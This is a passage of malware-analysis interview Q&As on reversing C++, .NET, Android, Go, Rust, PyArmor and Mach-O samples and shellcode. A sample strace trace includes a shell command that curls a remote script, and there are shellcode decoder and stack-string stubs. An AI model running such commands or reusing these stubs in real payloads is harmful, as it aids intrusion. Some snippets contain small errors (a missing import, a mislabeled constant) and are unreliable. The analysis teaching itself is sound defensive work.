In Ghidra I search for .?AV strings, xref to the TypeDescriptor, then find locators that reference it, then find vtables whose vptr[-1] slot references that locator. Each such vtable is a class that uses that RTTI. A class with two locators in its vtable region usually means multiple inheritance, and the second vtable is reached with a this adjustment.
// MSVC x64, simplified. Vtable layout for a single-inheritance class.
struct Handler {
virtual ~Handler(); // vtable[0]
virtual void OnPacket(int); // vtable[1]
virtual void OnTimer(); // vtable[2]
};
// Object layout: [vptr][fields...]
// Vtable layout: [vptr-1: CompleteObjectLocator*][0: ~Handler][1: OnPacket][2: OnTimer]Tracing a virtual call
Worked trace for handler->OnPacket(7) where OnPacket is slot 1:
| Step | Instruction pattern | Value |
|---|---|---|
| 1 | mov rax, [rcx] | rax = vptr |
| 2 | call [rax+8] | target = vtable[1], arg in EDX = 7 |
| 3 | inside target, lea rcx, [rcx+offset] | this adjusted if this is a secondary base |
That adjustment is the tell for multiple inheritance. A thunk often looks like a tiny function that adds a constant to RCX and jumps to the real method. If I see that, I record the offset and the secondary base class, because later dynamic_cast checks will use the same offset.
dynamic_cast and type checks use RTTI at runtime. The code loads the locator from vptr[-1], compares hierarchy indices, and walks the BaseClassArray through the hierarchy descriptor. When I see that pattern I can often recover the target type without running the sample.
Exception handling
MSVC C++ exceptions are not SEH __try/__except blocks, though they share the frame machinery. On x64, .pdata holds RUNTIME_FUNCTION entries for functions with unwind info, and .xdata holds the unwind info and, for EH functions, the scope table referenced from it. The PE exception directory points to .pdata. On entry to a function with EH, the compiler emits that scope table and registers a frame handler, usually __CxxFrameHandler4 on recent MSVC. The scope table maps a state value to a try range, a handler, and a funclet for cleanup such as destructors.
Trace I use in a debugger:
| Event | Observation |
|---|---|
| Function entry | state variable set to 0, frame registered |
| Entering try | state set to 1, scope table now covers the try body |
| Throw | CxxThrowException called, unwind starts |
| Unwind | funclets run for destructors in reverse order, state decrements |
| Handler match | type compared against catch types via RTTI, landing in catch block |
For malware this matters because authors hide control flow in catch blocks and in funclets that run during unwinding. A destructor funclet that calls VirtualAlloc or decodes a string will not appear as a normal call in the main flow. I list every funclet address from the scope table and analyse them as separate functions.
On ELF, the equivalent is the LSDA reached from .eh_frame FDEs, with __gxx_personality_v0 as the personality routine and landing pads selected by call site table entries. The logic is the same: state or call site index selects a handler, cleanup runs first, and the personality routine decides whether a catch matches.
Failure modes I check
Stripped or packed samples may have RTTI removed with /GR-, in which case there is no locator and I fall back to vtable shape and cross references. Obfuscated samples may build vtables at runtime, so static vtables look empty and only appear after the unpacking stub runs. I treat a missing RTTI as a signal to go dynamic, not as proof the code is C. I also verify vtable pointers in memory against the image, because a sample that overwrites a vtable pointer is doing vtable hijacking or anti analysis, and that overwrite is itself an IOC worth reporting.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-56Walk me through analysing a .NET sample in dnSpy and de4dot, from confirming it is managed code to removing obfuscation and recovering readable strings and config?
The 90-second answer
First confirm it is managed code, then let de4dot undo the packer and obfuscator, then read the cleaned assembly in dnSpy. A .NET PE still has an MZ header and PE sections, but its CLR header points to metadata streams: #~ for tables, #Strings for names, #US for user strings, and #Blob for constants. If dnSpy opens it and shows namespaces, types, and IL, you have managed code. If dnSpy shows only a native stub, a tiny loader, or an embedded resource that is itself a PE, treat it as a native packer carrying a .NET payload and extract that resource first.
de4dot is the cleanup step. It detects the obfuscator from metadata patterns, unpacks embedded assemblies, decrypts strings and resources, renames symbols to readable names, and repairs control flow where the obfuscator inserted junk branches. dnSpy, now maintained as dnSpyEx, is the reading and editing step: browse the assembly, decompile C# or VB, search strings and references, edit IL or C#, and debug the cleaned file under its debugger.
# Work on a copy in the lab VM, never the evidence original
de4dot.exe sample.exe -o sample_cleaned.exe
# Inspect what de4dot detected and what it changed
de4dot.exe sample.exe --detectOpen sample_cleaned.exe in dnSpyEx, not the original. Check the entry point, Main, module initializers, and any type marked with obfuscator attributes that survived. Search for FromBase64String, Aes, RijndaelManaged, CryptUnprotectData, WebClient, DownloadString, and Process.Start. Those calls usually lead to the config decryption or the next stage.
What de4dot actually fixes
| Obfuscation | Symptom in dnSpy on the original | de4dot action | How you verify the fix |
|---|---|---|---|
| ConfuserEx string encryption | String literals appear as calls to a short method returning garbled text | Replaces calls with decrypted strings | The C2 URL and mutex now appear as plain text in the decompiled method |
| Renaming | Types and methods named a, b, , or single Unicode characters | Renames symbols using its dictionary and heuristics | Entry point and called methods have names you can follow in a report |
| Resource encryption | A large resource named with random characters, no readable config | Decrypts and extracts resources, unpacks embedded assemblies | The embedded DLL appears as a separate file and loads in dnSpy |
| Control flow obfuscation | Nested switch statements and opaque predicates in decompiled C# | Simplifies branches and removes junk code | The decompiled method collapses to a short sequence you can trace |
| Proxy delegates | Every call goes through a delegate wrapper | Inlines or resolves delegate calls where possible | Call graph shows direct calls to WebClient.DownloadString |
A typical before and after in dnSpy looks like this:
// Original, decompiled
string url = \u200b\u200b();
WebClient client = new WebClient();
string payload = client.DownloadString(url);
// After de4dot, same method
string url = "https://cdn.example.net/update.bin";
WebClient client = new WebClient();
string payload = client.DownloadString(url);Where this workflow breaks
de4dot handles known obfuscators well and custom ones poorly. If strings are decrypted at runtime with a key derived from the machine name, a registry value, or a value fetched from the C2, static deobfuscation will not recover them. You then run the cleaned assembly in the VM under dnSpy's debugger, set a breakpoint on the decryption method, and dump the returned string. The same applies to anti-tamper checks that corrupt the assembly if a debugger is attached. In that case, patch the check in dnSpy's IL editor or bypass it with a debugger script, then re-run.
Mixed-mode assemblies are another limit. A C++/CLI assembly contains both native and managed code. dnSpy decompiles the managed part and shows the native part as a stub. You need a native disassembler for the native methods and dnSpy only for the managed wrapper that calls them.
Keep the chain of custody clear in your notes. Record the original hash, the de4dot version and command line, the cleaned file hash, and which strings or config values came from static deobfuscation versus a live run. That separation is what lets another analyst reproduce the result and defend the IOCs in a report.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-57An APK declares SEND_SMS in its manifest but jadx shows no SmsManager call: how do you use smali to decide if it can actually send SMS, and what would you check next?
The 90-second answer
I would not trust the manifest alone. It declares what the app asks Android for, not what the code does. I unpack the APK, read the decoded manifest, then search the smali for the API that actually uses that permission. If the permission is declared but no code path calls the sink, I treat it as unused or hidden, and I look for reflection or dynamic loading before I call it benign.
sha256sum sample.apk
apktool d sample.apk -o out/
aapt2 dump xmltree sample.apk AndroidManifest.xmlapktool decodes the binary AndroidManifest.xml and converts classes.dex to smali. I use jadx alongside it for a faster read, but smali is the ground truth when jadx mis-decompiles obfuscated code. In the manifest I note the package, exported components, and dangerous permissions. For SEND_SMS the question becomes specific: does any smali method call SmsManager.sendTextMessage or sendMultipartTextMessage, and if so, what destination and body does it build?
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<receiver android:name=".SmsReceiver" android:exported="true">
<intent-filter android:priority="999">
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>SEND_SMS lets the app send. RECEIVE_SMS lets it read incoming messages, which is how banking malware intercepts one-time codes. The receiver above is worth checking because an exported receiver with high priority can read a message before the user's messaging app does.
Tracing the permission to a sink
I search smali for the sink, not for readable class names, because obfuscation renames classes to short strings.
grep -rn "sendTextMessage\|sendMultipartTextMessage" out/smali*
grep -rn "SmsManager" out/smali*
grep -rn "getDefault" out/smali* | grep -i sms| Manifest entry | Smali sink to find | What to trace next |
|---|---|---|
SEND_SMS | Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V | Destination number and message body passed in registers |
RECEIVE_SMS | Landroid/content/BroadcastReceiver;->onReceive reading android.telephony.SmsMessage;->getMessageBody() | Whether the body is forwarded, stored, or used to reply |
READ_SMS | Landroid/content/ContentResolver;->query on content://sms/inbox | Which folders are read and where the data goes |
A sink usually looks like this in smali:
.method public sendCode(Ljava/lang/String;Ljava/lang/String;)V
.locals 1
.param p1, "number" # Ljava/lang/String;
.param p2, "body" # Ljava/lang/String;
invoke-static {}, Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
move-result-object v0
const/4 v1, 0x0
invoke-virtual {v0, p1, v1, p2, v1, v1}, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
return-void
.end methodHere p0 is this, p1 and p2 are the arguments, and v0 holds the SmsManager returned by getDefault(). I trace backwards from the invoke-virtual call to find where p1 and p2 were set. A const-string with a premium-rate number such as 09xxx or a short code, or a body built from a string constant, is the evidence I would cite. If the number comes from a decrypted string or a network response, I note that and check the code that fills it.
When the sink is missing
No SmsManager call in smali does not clear the app. Three cases explain the gap. The permission may be declared by a merged library manifest and never used. The call may be built by reflection, so I search for Class.forName, getMethod, and invoke, and for the string sendTextMessage passed as an argument. Or the code may be loaded at runtime with DexClassLoader or hidden in a native library under lib/arm64-v8a/, in which case I check what dex or library files the app drops and loads.
I also check the reverse direction. Code can send SMS through an ACTION_SENDTO intent with a smsto: URI without SEND_SMS, which prompts the user instead of sending silently. That is a different behaviour and I would report it as user-assisted, not silent.
My verdict on this sample would rest on three facts I can point to: the manifest declares SEND_SMS and RECEIVE_SMS, smali either does or does not contain a reachable SmsManager sink with a traced destination, and the receiver either does or does not forward message bodies. That is enough to decide the next step, which is dynamic analysis on an isolated emulator to watch for the actual SMS traffic.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-58What does strace record when you run it on a Linux ELF sample?
The 90-second answer
strace records the system calls a process makes to the Linux kernel, with their arguments and return values. Run it on an ELF sample and you see, in order, the files it opens, the network connections it attempts, the processes it forks or executes, and the signals it receives. That is the behaviour of the sample at kernel level, regardless of which library functions it called to get there.
A system call is the boundary between user code and the kernel. When a program wants to open a file, create a socket, or spawn a shell, it cannot do so directly. It asks the kernel through a system call, and the kernel does the work. strace uses ptrace to pause the process at each of those requests and log them. You get lines such as openat, connect, execve, and write, each with the arguments the program supplied and the result the kernel returned.
Worked trace, hypothetical sample
| strace line | What it tells you |
|---|---|
openat(AT_FDCWD, "/tmp/.cache/x", O_CREAT|O_WRONLY, 0600) = 3 | Creates a hidden file in Temp with owner-only permissions, returns file descriptor 3 |
connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("203.0.113.9")}, 16) = -1 EINPROGRESS | Opens a TCP connection to 203.0.113.9 on port 4444 |
execve("/bin/sh", ["sh", "-c", "curl http://198.51.100.7/p.sh"], ...) = 0 | Replaces the process image with a shell running a download command |
Read top to bottom, that sequence is a dropper: write a file, contact a remote host, then hand execution to a shell. No library names are needed to reach that verdict, which is why strace is usually the first dynamic tool I run.
How I run it
# Inside an isolated analysis VM, snapshot taken before execution
file ./sample
strace -f -tt -s 256 -o strace.txt ./sample-f follows forks and child processes, so a sample that spawns /bin/sh does not disappear from the trace. -tt adds timestamps, which exposes sleep loops and beacon intervals. -s 256 keeps long strings such as URLs and paths intact instead of truncating them at the default 32 characters. I then search the output for openat, connect, execve, socket, and write to pull out file paths, IP addresses, and dropped payloads.
Limits to state in an interview
strace shows kernel requests, not the library calls behind them. If the sample calls fopen, strace shows the underlying openat, not the name fopen. It also slows the process down, and some samples detect ptrace by calling ptrace(PTRACE_TRACEME, ...) on themselves, which makes a child strace fail with Operation not permitted. A short or empty trace therefore does not prove the sample is benign. I note that caveat, then compare the trace against strings and imports before reporting a verdict.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-59A signed Mach-O sample passes spctl verification but Gatekeeper blocks it on another Mac, and its LC_LOAD_DYLIB points to a dylib outside the bundle: how do you analyse it safely and decide what the signature actually proves?
The 90-second answer
A passing spctl check on your VM proves the signature chain validates for that file, on that macOS build, at that moment. It does not prove the sample is safe, and it does not guarantee Gatekeeper will allow it elsewhere. I would treat the signature as provenance evidence, not a verdict, then parse the Mach-O to see what code the signature actually covers.
First, work on a copy with quarantine preserved, in an isolated macOS VM with no shared folders and a host-only network. Record the original hash before you strip attributes. Then I check three layers in order: the Mach-O structure, the code signature and its nested code, and Gatekeeper policy including notarization. A mismatch at any layer explains the block on the second Mac.
Mach-O: what is being signed
file sample && lipo -info sample
otool -hv sample
codesign -dvvv --entitlements - sample 2>&1
spctl -a -vv -t exec sample 2>&1
xattr -l sample
stapler validate sample 2>&1otool -hv shows a 64-bit header (MH_MAGIC_64, CPU_TYPE_ARM64 or x86_64, MH_EXECUTE versus MH_DYLIB). otool -l lists load commands. I look for LC_LOAD_DYLIB, LC_RPATH, LC_ENCRYPTION_INFO_64, and the __LINKEDIT segment that holds the CodeSignature superblob. A fat binary can contain an arm64 slice that is signed and an x86_64 slice that is not, or vice versa. lipo -thin to extract each slice and verify each one separately. If LC_LOAD_DYLIB points outside the bundle, for example to /tmp/libhelper.dylib or a path under ~/Library, the main binary signature does not cover that dylib. Library validation in a hardened runtime binary will refuse an unsigned or differently signed dylib unless the binary has the com.apple.security.cs.disable-library-validation entitlement, which is itself a red flag.
Code signing and Gatekeeper: why the second Mac blocks it
codesign -dvvv prints the TeamIdentifier, the certificate chain, the CDHash, the timestamp, and whether the runtime is hardened. spctl -a -vv -t exec runs Gatekeeper assessment and prints accepted or rejected with the source. The common split is notarization. A Developer ID signed binary that was never submitted to Apple, or was notarized but the staple was stripped when the file was copied, zipped, or re-signed, passes a local signature check yet fails Gatekeeper on a machine that tries to fetch the ticket online. An expired signing timestamp, a revoked certificate, or a CDHash change after any patch to __TEXT also produces this split. Patching one byte invalidates the signature, so runtime patching in a debugger is preferable to editing the file on disk.
| Case | codesign -dv | spctl -a | Likely Gatekeeper result elsewhere |
|---|---|---|---|
Ad-hoc (-) | passes locally | rejected | blocked, no TeamIdentifier to trust |
| Developer ID, no notarization | passes | rejected on quarantined file | blocked until user overrides |
| Developer ID, notarized, staple removed | passes | may pass online, fail offline | inconsistent across machines |
| Developer ID, notarized and stapled | passes | accepted | allowed, still not proof of benign intent |
| Signed main binary, unsigned nested dylib | main passes, nested fails | rejected | blocked by library validation |
Quarantine matters. The com.apple.quarantine extended attribute, typically com.apple.quarantine; 65f...; Safari; UUID, triggers the Gatekeeper check. Removing it with xattr -d before testing hides the exact failure a victim would see. I test with the attribute intact, then test again without it, and note both results. On the blocking Mac, log show --last 10m --predicate 'process == "syspolicyd" OR process == "taskgated"' shows the denial reason, often Notarization or Untrusted.
Dynamic analysis and failure modes
For a hardened runtime binary, DYLD_INSERT_LIBRARIES is ignored, so I use lldb or Frida attached after launch, or run the binary directly in the VM rather than injecting into a signed system process. If the sample drops and executes the external dylib, I hash that dylib separately and check whether it was ever signed. A signed dropper that fetches an unsigned second stage is a classic split: the first file looks clean to a signature-only triage, the payload never had a signature at all.
Two failure modes mislead analysts. First, a valid signature on a stolen or abused Developer ID certificate. Apple revocation lags abuse, and the signature only proves possession of the key at signing time. Second, a sample that is signed, notarized, and stapled because the actor paid for a legitimate certificate and submitted a clean first stage, then updates the payload server-side. Notarization covers the submitted hash, not future downloads. My report therefore states the CDHash, TeamIdentifier, notarization status, and the unsigned dylib path as separate findings, and never collapses them into "signed, therefore trusted."
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-60You extract a PyInstaller sample and the main module imports pyarmor_runtime and will not decompile. How do you choose between dumping decrypted bytecode at runtime and reversing the native runtime, and what do you try first?
The 90-second answer
If the extracted module imports pyarmor_runtime and will not decompile, static extraction has already done its job. PyInstaller only packaged the files. PyArmor encrypted the bytecode inside them, and the runtime decrypts each module in memory when it is imported. So the decision is not whether to extract again. It is whether to capture the decrypted bytecode while the runtime runs, or to reverse the native runtime itself.
I try the runtime dump first. It is faster, it works for the default PyArmor mode, and it gives me normal Python bytecode I can decompile. I only move to reversing the native runtime when the dump fails, which usually means BCC mode or an anti-debug check in the runtime.
Why static decompilation fails here
PyArmor in its default mode replaces each .pyc with an encrypted blob and a small loader stub. The stub calls into pyarmor_runtime (a .pyd on Windows or .so on Linux), which decrypts the blob and hands a code object to the interpreter. On disk there is no readable bytecode to decompile. In memory, after import, there is.
That distinction decides the approach. If I can let the runtime decrypt a module and intercept the result, I recover the original code without understanding the cipher. If I cannot, I have to understand the native code that does the decrypting, which is a much larger job.
First check: which PyArmor mode is this?
Before running anything, I look at what the extractor produced. Default mode leaves encrypted .pyc files plus pyarmor_runtime files and strings such as __pyarmor__. BCC mode (bytecode to C) compiles the Python to native code at build time, so there is no encrypted bytecode blob to dump. The module appears as a native extension instead.
# Python 3.11, on the analysis host
from pathlib import Path
extracted = Path("sample.exe_extracted")
for p in sorted(extracted.rglob("*")):
if "pyarmor" in p.name.lower() or p.suffix in {".pyc", ".pyd", ".so"}:
print(p.relative_to(extracted), p.stat().st_size)Encrypted .pyc files plus a runtime point to default mode. A native extension with no corresponding bytecode blob points to BCC mode. That one check saves a wasted dynamic run.
Option 1: dump decrypted bytecode at runtime
I run the extracted program, not the original sample, in a disposable VM with host-only networking and a snapshot. I hook the point where the runtime returns a code object. The simplest hook is marshal.loads, which the interpreter calls to turn bytes into a code object, or the import machinery itself.
# Runs inside the VM, injected before the sample starts
import marshal, sys
from pathlib import Path
original_loads = marshal.loads
def hooked_loads(data, *args, **kwargs):
code = original_loads(data, *args, **kwargs)
if hasattr(code, "co_code"):
name = Path(code.co_filename).stem
Path(f"dump_{name}.pyc").write_bytes(
importlib.util.MAGIC_NUMBER + b"\x00" * 12 + data
)
return code
marshal.loads = hooked_loadsIn practice I use a ready-made PyArmor unpacker that does this interception, or a debugger breakpoint on the runtime decrypt function. The principle is the same. Each dumped file is a normal .pyc for the Python version in the bundle, so I decompile it with uncompyle6 for 3.7 and earlier, or pycdc for newer versions, and read the dis output where decompilation fails.
The trade-off is execution risk. The runtime may check for a debugger, a VM, or a missing file before it decrypts anything, and the sample may do something harmful once it runs. That is why the run happens in an isolated VM, from the extracted files, with no network route to production systems.
Option 2: reverse the native runtime
Reversing pyarmor_runtime means opening the .pyd or .so in Ghidra, finding the decrypt routine, and either reimplementing it or calling it offline on the encrypted blobs. This avoids running the sample logic, which is safer, but it is slower and it depends on the runtime version. PyArmor changes its runtime between releases, so a routine I reversed for one version may not match the next.
I reserve this for two cases. BCC mode leaves no bytecode to dump, so native reversing is the only route. And when anti-debug checks in the runtime kill the process before decryption, patching or reversing those checks is needed before any dump can happen.
| Approach | What you recover | Main cost | When it is the right choice |
|---|---|---|---|
| Runtime bytecode dump | Original Python code objects, decompilable | Must execute the sample in a VM, exposed to anti-debug checks | Default PyArmor mode, which is the common case |
| Reverse the native runtime | Decryption routine, then offline decryption of blobs | Hours of native reversing, version-specific | BCC mode, or when the runtime blocks execution |
What I do first, in order
Confirm the mode from the extracted files. If encrypted bytecode is present, set up the VM and dump. Decompile the dumped code objects and check that the entry point, C2 strings, and config parsing are readable. If the dump produces nothing, or the module is native code with no bytecode, switch to reversing the runtime and treat the sample as a native binary from that point.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-61A Go sample was built with -ldflags="-s -w" so it has no symbols: why can GoReSym still recover function names, and what will it not recover?
The 90-second answer
-ldflags="-s -w" removes the ELF or PE symbol table and DWARF debug info. It does not remove the tables the Go runtime needs while the program runs. The runtime uses pclntab and functab for stack traces, panics and garbage collection, so the compiler always emits them. Those tables store the name, file and line for each function. GoReSym reads them directly from the binary, rebuilds the package list, and writes the result as JSON for Ghidra or IDA. That is why a stripped Go binary is often easier to name than a stripped C binary.
What GoReSym will not recover is just as specific. Local variable names, function arguments beyond what the type system implies, and comments lived only in DWARF. Once DWARF is gone, they are gone. It can recover many type definitions from a separate runtime section, but only for types the program actually uses at run time.
Where the names live
| Section | Contents | Survives -s -w | Used by |
|---|---|---|---|
| Symbol table | Exported symbols, addresses | No | Linker, debugger |
| DWARF | Locals, line info, source layout | No | Debugger, IDE |
pclntab / functab | Function names, offsets, file and line | Yes | Runtime stack traces |
moduledata types | Struct and interface field names and types | Yes, for used types | Reflection, GC |
| Build info | Go version, module path, build settings | Yes, unless removed | go version -m |
GoReSym starts by finding the version. It reads build info if present, otherwise it searches for a version string such as go1.21.5 and for the pclntab magic, which changes across Go releases. It then parses functab to get each function offset and name, groups them by package, and follows moduledata into the types section to parse rtype structures.
# Dump packages, functions and types, then inspect before importing
goresym -t -p -d -f ./sample > goresym.json
goresym -t -p -f ./sample | head -c 2000import json
data = json.load(open("goresym.json"))
print(data["Version"])
for fn in data["UserFunctions"][:5]:
print(hex(fn["Offset"]), fn["FullName"])Import that JSON with the GoReSym Ghidra script. Functions in main. and in the sample's own packages get renamed first. Standard library names such as net/http.(*Client).Do or crypto/tls.Dial remain useful anchors even when user code is renamed.
Limits to state in an interview
Types are recovered only when the type is reachable from moduledata. A config struct that is only ever used as a local and never reflected, stored in an interface, or passed to a function that needs its type may not appear. Field names for such a struct will be missing even though the function names are present.
Obfuscators such as Garble change this picture. Garble can encrypt literals, rename packages and types, and shrink pclntab with its tiny mode. GoReSym may still return offsets, but the names will be hashes or generic labels. In that case the offsets are still stable anchors for renaming by behaviour, for example the function that loops over net.Dial calls.
A packed sample is a different problem. If the binary is UPX packed or encrypted on disk, the pclntab magic will not be visible in the file. GoReSym will return an empty list. Dump the process after unpacking and run the tool on the dump instead.
For a report, name the Go version, the GoReSym version, and which names came from pclntab versus names you assigned yourself. That lets another analyst reproduce the renaming on the same sample.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-62Why do stripped Rust binaries still contain source file paths in panic messages?
The 90-second answer
Stripping a Rust binary removes its symbol table and debug sections. It does not remove the strings the panic runtime needs at run time. Every panic!, unwrap(), expect(), slice index and assertion is compiled with the source location from file!() and line!(). When that code fails, the runtime prints something like thread 'main' panicked at src/main.rs:42:5: followed by the failure message. Those location strings therefore live in .rodata as ordinary data, alongside the format strings, and the linker keeps them because the program cannot produce a useful panic without them.
Function names are a different case. A user function name such as loader::c2::client::beacon is stored as a mangled symbol, for example _ZN6loader2c23client6beacon..., in .symtab, or as a DWARF entry in .debug_info. Stripping deletes both. A stripped binary does not leak user function names through panic messages. If you see function names in a sample, the sample was not fully stripped, or the author left them in a string for another reason.
# Rust 1.75+, Linux. Work on a copy in an analysis VM.
strings -a sample | grep -E '\.rs:[0-9]+:[0-9]+' | sort -u
# Check what stripping actually removed
readelf -S sample | grep -E 'symtab|debug'
nm sample 2>&1 | headTypical output from a stripped Rust loader:
| Artefact found | Where it lives | What it proves |
|---|---|---|
src/main.rs:87:14 | .rodata | Panic site in the crate root |
called Option::unwrap()on aNone value | .rodata | An unwrap() on an Option failed |
src/c2/client.rs:203:9 | .rodata | Author code under a c2 module |
library/core/src/panicking.rs:126:5 | .rodata | Standard library code, present in almost every Rust binary |
No _ZN or _R symbols from nm | .symtab absent | Function names were stripped |
Using the leak without overreading it
Search for the location pattern first. It recovers the author's module layout, which is often enough to find the interesting code. In Ghidra, search for the string, then find cross-references to it. The referencing function is the panic site, and the surrounding code is usually the operation the author failed to handle, such as decoding a config or connecting to a server. Filter out library/, rustc/ and known dependency paths before you treat a path as author code.
If symbols are present, recover names separately. Run nm or readelf -s for .symtab, and dwarfdump or readelf --debug-dump=info for DWARF. Feed mangled names beginning _ZN (legacy mangling) or _R (v2 mangling) through rustfilt or Ghidra's Rust demangler. That step, not the panic strings, is what restores function names.
Limits and countermeasures
Authors can reduce the leak with strip = true in Cargo.toml, panic = "abort" to shrink the panic handler, and --remap-path-prefix or -Ztrim-paths to replace absolute build paths with a placeholder. None of those reliably removes the relative src/... locations for panics in the author's own code. Authors can also plant fake paths, so confirm a lead against the disassembly. The function that references a src/c2/client.rs string should actually contain the networking or decoding logic the path suggests.
The rule to remember in an interview is simple. Panic locations survive stripping because they are run time data. Function names do not, because they are metadata.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-63You dump 512 bytes of headerless x86 shellcode that uses call/pop to get its own address and a XOR loop over a blob: how do you prove it is position-independent, recover the decoded payload, and tell where decoding ends and execution begins?
The 90-second answer
Headerless shellcode has to find itself and its data without knowing where the loader put it. I look first for a position-independent bootstrap, then for the loop that transforms the blob after it, then for the transfer to the decoded bytes. If I cannot name all three, I do not trust a decoded dump.
A classic x86 bootstrap is call followed by pop. The call pushes the address of the next instruction, which is the address of the pop instruction itself. That value is correct wherever the code was loaded, so it proves position independence in a way a hardcoded address never can. Variants use jmp to a call, lea from a register already holding the base, or on x64 lea rcx, [rip+...]. I check the disassembly for absolute references to the blob. A mov ebx, 0x00401234 pointing into the same buffer breaks the claim, unless that address is patched by the loader, which I would see in the loader stub.
; x86, checked in a debugger against the dumped bytes
call getpc ; pushes address of next instruction, the pop itself
getpc:
pop ebx ; ebx = address of pop instruction
add ebx, payload_off ; ebx = start of encoded blob, offset from pop
xor ecx, ecx ; index
decode:
mov al, [ebx+ecx]
xor al, 0xAA
mov [ebx+ecx], al
inc ecx
cmp ecx, 0x120 ; blob length from header or loop bound
jb decode
jmp ebx ; transfer to decoded payloadThe loop is the part to prove, not guess. I record four things from the disassembly and from a single-step trace: the source and destination buffers, the transform per byte, how the key changes, and the termination condition. A single-byte XOR, an ADD, a ROL, or a repeating multi-byte key all look similar in a hex dump. They differ in the trace.
Worked trace, hypothetical 8 byte blob, XOR 0xAA, in place:
| Step | Encoded byte | XOR 0xAA | Decoded byte | Meaning |
|---|---|---|---|---|
| 0 | E7 | E7 xor AA | 4D | M |
| 1 | F0 | F0 xor AA | 5A | Z |
| 2 | 3A | 3A xor AA | 90 | NOP |
| 3 | AA | AA xor AA | 00 | padding |
| 4 | FF | FF xor AA | 55 | push ebp |
| 5 | 21 | 21 xor AA | 8B | mov |
| 6 | 46 | 46 xor AA | EC | ModRM |
| 7 | 29 | 29 xor AA | 83 | sub |
Decoding ends where the counter reaches the bound, or where a sentinel or decoded length field stops it, and the next instruction is a jmp, call, or fall-through into the decoded region. I confirm that in the debugger by stepping past the loop and checking that the bytes at the target changed and that execution actually arrives there. A Python reimplementation of the loop, run on the extracted blob, should produce the same bytes as the in-memory dump after the loop. If it does not, my key, direction, or start offset is wrong.
# Python 3, emulation of the loop above for verification
blob = bytes.fromhex("E7F03AAAFF214629")
decoded = bytes(b ^ 0xAA for b in blob)
print(decoded.hex()) # 4d5a9000558bec83Failure modes I check before reporting a payload: a rolling key where the key byte is updated from the previous plaintext or ciphertext, so a static XOR with the first key byte decodes only the first few bytes correctly; a loop bound taken from a decoded byte, so the length is unknown until decoding starts; overlapping source and destination, which makes a separate output buffer assumption wrong; and a key derived at runtime from the PEB, a tick count, or a value passed in a register by the loader, which means the blob alone is not self-contained. In those cases I report the loop, the derivation, and the decoded bytes from the live run, with the register state at loop entry, rather than a guessed static decode.
The deliverable is the bootstrap address, the blob offset and length, the exact transform with its key schedule, and the transfer target. With those four, another analyst can reproduce the decode from the dump alone.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-64A sample has almost no import table and its strings are built on the stack at runtime, so how do you recover the APIs it resolves and tell which hashing scheme it uses?
The 90-second answer
When the import table is empty or reduced to LoadLibraryA and GetProcAddress, do not treat the sample as having no imports. It is resolving them itself. Two tricks hide the names. Stack strings build a name in memory at runtime with push and mov instructions, so strings on the file sees nothing. API hashing never stores the name at all. The code walks the PEB loader list to find kernel32.dll or ntdll.dll, parses that module's export directory, hashes each exported name, and compares the result with a constant embedded in the malware. A match gives it the function address.
Your job is to recover the constant, identify the algorithm, and brute force it against a known API list. That turns an opaque blob into a readable call list.
Stack strings: what to look for
A typical x86 stub pushes a string backwards onto the stack, then points esp at it:
push 0x6c6c6541 ; "All" plus terminator, reversed
push 0x636f6c6c ; "coll"
push 0x614c646f ; "Load"
mov eax, esp
push eax ; argument to LoadLibraryA
call GetProcAddress ; or a manual resolverVariants XOR each dword with a key, add a constant, or write byte by byte with mov byte ptr [esp+4], 0x56. In Ghidra or IDA, look for a run of push imm32 or mov [esp+n], imm8 feeding a single pointer argument, followed by a call. Rename that stack slot to the decoded string. Tools such as FLOSS automate this, but manual decoding matters when the XOR key is derived from a loop counter or a config value. Decode the loop, not just the first dword, or you will recover Load and miss LibraryA.
API hashing: the resolver loop
The classic shellcode resolver, still common in loaders, does this:
The hash is the fingerprint. ROR13 rotates the accumulator right by 13, then adds the next character. djb2 starts at 5381 and does hash = hash * 33 + c. FNV-1a starts at 0x811c9dc5 and XORs then multiplies by 0x01000193. CRC32, Jenkins one-at-a-time, MurmurHash variants, and custom seeds all appear. The seed and the exact input matter as much as the algorithm: some hash only the function name, some hash DLLNAME.FunctionName, some uppercase the DLL name, some include the terminating null, some hash the Unicode module name from the PEB and the ASCII export name.
| Scheme | Tell in disassembly | Common input |
|---|---|---|
| ROR13 | ror reg, 13 in a byte loop | uppercase DLL + function, often with null |
| djb2 | initial 5381, multiply by 33 | function name only |
| FNV-1a | initial 0x811c9dc5, prime 0x01000193 | function name only |
| CRC32 | table lookup or polynomial 0xEDB88320 | function name, sometimes DLL too |
| Custom | no standard constant, seed from config | varies, brute force per sample |
Brute forcing it in Python
Extract every 32-bit constant compared against the accumulator in the resolver loop. Then test each algorithm against a list of exports from the target DLLs on your analysis box. This snippet, checked against Python 3.11, implements the two most common cases:
import struct
def ror13_add(h, c):
return (((h >> 13) | (h << 19)) & 0xFFFFFFFF)
def ror13_hash(name: bytes) -> int:
h = 0
for b in name:
h = (ror13_add(h, b) + b) & 0xFFFFFFFF
return h
